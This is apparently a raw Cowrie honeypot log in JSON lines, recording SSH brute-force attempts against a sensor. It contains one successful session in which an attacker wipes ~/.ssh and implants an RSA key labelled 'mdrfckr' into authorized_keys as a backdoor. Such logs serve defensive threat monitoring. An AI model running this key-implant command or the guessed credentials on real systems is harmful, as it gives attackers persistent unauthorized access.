af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:07:11.342880Z","src_ip":"13.67.236.135","session":"43959e834789","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin#321","message":"login attempt [root/Admin#321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:07:11.525439Z","src_ip":"13.67.236.135","session":"43959e834789","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:07:12.115694Z","src_ip":"43.157.90.107","session":"9a5d0edd6354","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":49631,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b70c5d227eb","protocol":"ssh","message":"New connection: 213.209.159.159:49631 (10.17.0.5:22) [session: 6b70c5d227eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:07:12.393919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:07:12.398808Z","src_ip":"213.209.159.159","session":"6b70c5d227eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:07:12.480624Z","src_ip":"213.209.159.159","session":"6b70c5d227eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:07:12.565970Z","src_ip":"13.67.236.135","session":"43959e834789","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jim","password":"jim","message":"login attempt [jim/jim] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:07:12.883407Z","src_ip":"213.209.159.159","session":"6b70c5d227eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jim","password":"jim1","message":"login attempt [jim/jim1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:07:13.968121Z","src_ip":"213.209.159.159","session":"6b70c5d227eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jim","password":"jim123","message":"login attempt [jim/jim123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:07:15.053274Z","src_ip":"213.209.159.159","session":"6b70c5d227eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jim","password":"jim1234","message":"login attempt [jim/jim1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:07:16.140111Z","src_ip":"213.209.159.159","session":"6b70c5d227eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jim","password":"jim12345","message":"login attempt [jim/jim12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:07:17.226882Z","src_ip":"213.209.159.159","session":"6b70c5d227eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:07:18.312683Z","src_ip":"213.209.159.159","session":"6b70c5d227eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.96.151.198","src_port":41014,"dst_ip":"159.203.135.109","dst_port":22,"session":"3bc52ca3b46e","protocol":"ssh","message":"New connection: 186.96.151.198:41014 (159.203.135.109:22) [session: 3bc52ca3b46e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:07:46.934798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:07:46.940999Z","src_ip":"186.96.151.198","session":"3bc52ca3b46e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:07:47.003498Z","src_ip":"186.96.151.198","session":"3bc52ca3b46e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"asdf","message":"login attempt [deploy/asdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:07:47.278500Z","src_ip":"186.96.151.198","session":"3bc52ca3b46e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:07:48.342554Z","src_ip":"186.96.151.198","session":"3bc52ca3b46e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.90.107","src_port":59700,"dst_ip":"10.17.0.5","dst_port":22,"session":"51aae90680b9","protocol":"ssh","message":"New connection: 43.157.90.107:59700 (10.17.0.5:22) [session: 51aae90680b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:07:59.687443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:07:59.694772Z","src_ip":"43.157.90.107","session":"51aae90680b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:07:59.784762Z","src_ip":"43.157.90.107","session":"51aae90680b9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle_123","message":"login attempt [oracle/oracle_123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:00.146738Z","src_ip":"43.157.90.107","session":"51aae90680b9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:00.381223Z","src_ip":"43.157.90.107","session":"51aae90680b9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:00.384802Z","src_ip":"43.157.90.107","session":"51aae90680b9","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:00.389305Z","src_ip":"43.157.90.107","session":"51aae90680b9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:00.493092Z","src_ip":"43.157.90.107","session":"51aae90680b9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:00.712869Z","src_ip":"43.157.90.107","session":"51aae90680b9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:00.716330Z","src_ip":"43.157.90.107","session":"51aae90680b9","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:00.813341Z","src_ip":"43.157.90.107","session":"51aae90680b9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:00.816975Z","src_ip":"43.157.90.107","session":"51aae90680b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.90.107","src_port":60914,"dst_ip":"10.17.0.5","dst_port":22,"session":"956b5ef4c5bb","protocol":"ssh","message":"New connection: 43.157.90.107:60914 (10.17.0.5:22) [session: 956b5ef4c5bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:00.899407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:00.904323Z","src_ip":"43.157.90.107","session":"956b5ef4c5bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:00.992390Z","src_ip":"43.157.90.107","session":"956b5ef4c5bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:01.377819Z","src_ip":"43.157.90.107","session":"956b5ef4c5bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:02.469407Z","src_ip":"43.157.90.107","session":"956b5ef4c5bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.90.107","src_port":33092,"dst_ip":"10.17.0.5","dst_port":22,"session":"5813e676da28","protocol":"ssh","message":"New connection: 43.157.90.107:33092 (10.17.0.5:22) [session: 5813e676da28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:02.556175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:02.562355Z","src_ip":"43.157.90.107","session":"5813e676da28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:02.661848Z","src_ip":"43.157.90.107","session":"5813e676da28","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:03.064962Z","src_ip":"43.157.90.107","session":"5813e676da28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:03.161781Z","src_ip":"43.157.90.107","session":"51aae90680b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:03.167238Z","src_ip":"43.157.90.107","session":"5813e676da28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.67.236.135","src_port":58798,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5f27af10b47","protocol":"ssh","message":"New connection: 13.67.236.135:58798 (159.203.135.109:22) [session: e5f27af10b47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:09.003319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:09.007975Z","src_ip":"13.67.236.135","session":"e5f27af10b47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:09.050871Z","src_ip":"13.67.236.135","session":"e5f27af10b47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dd123456","message":"login attempt [root/Dd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:09.253379Z","src_ip":"13.67.236.135","session":"e5f27af10b47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.70.109.132","src_port":45234,"dst_ip":"159.203.135.109","dst_port":23,"session":"d57c829475db","protocol":"telnet","message":"New connection: 212.70.109.132:45234 (159.203.135.109:23) [session: d57c829475db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:09.579823Z"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:10.299479Z","src_ip":"13.67.236.135","session":"e5f27af10b47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.55.224.44","src_port":64748,"dst_ip":"10.17.0.5","dst_port":22,"session":"410b9de54417","protocol":"ssh","message":"New connection: 79.55.224.44:64748 (10.17.0.5:22) [session: 410b9de54417]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:08:19.312739Z"}
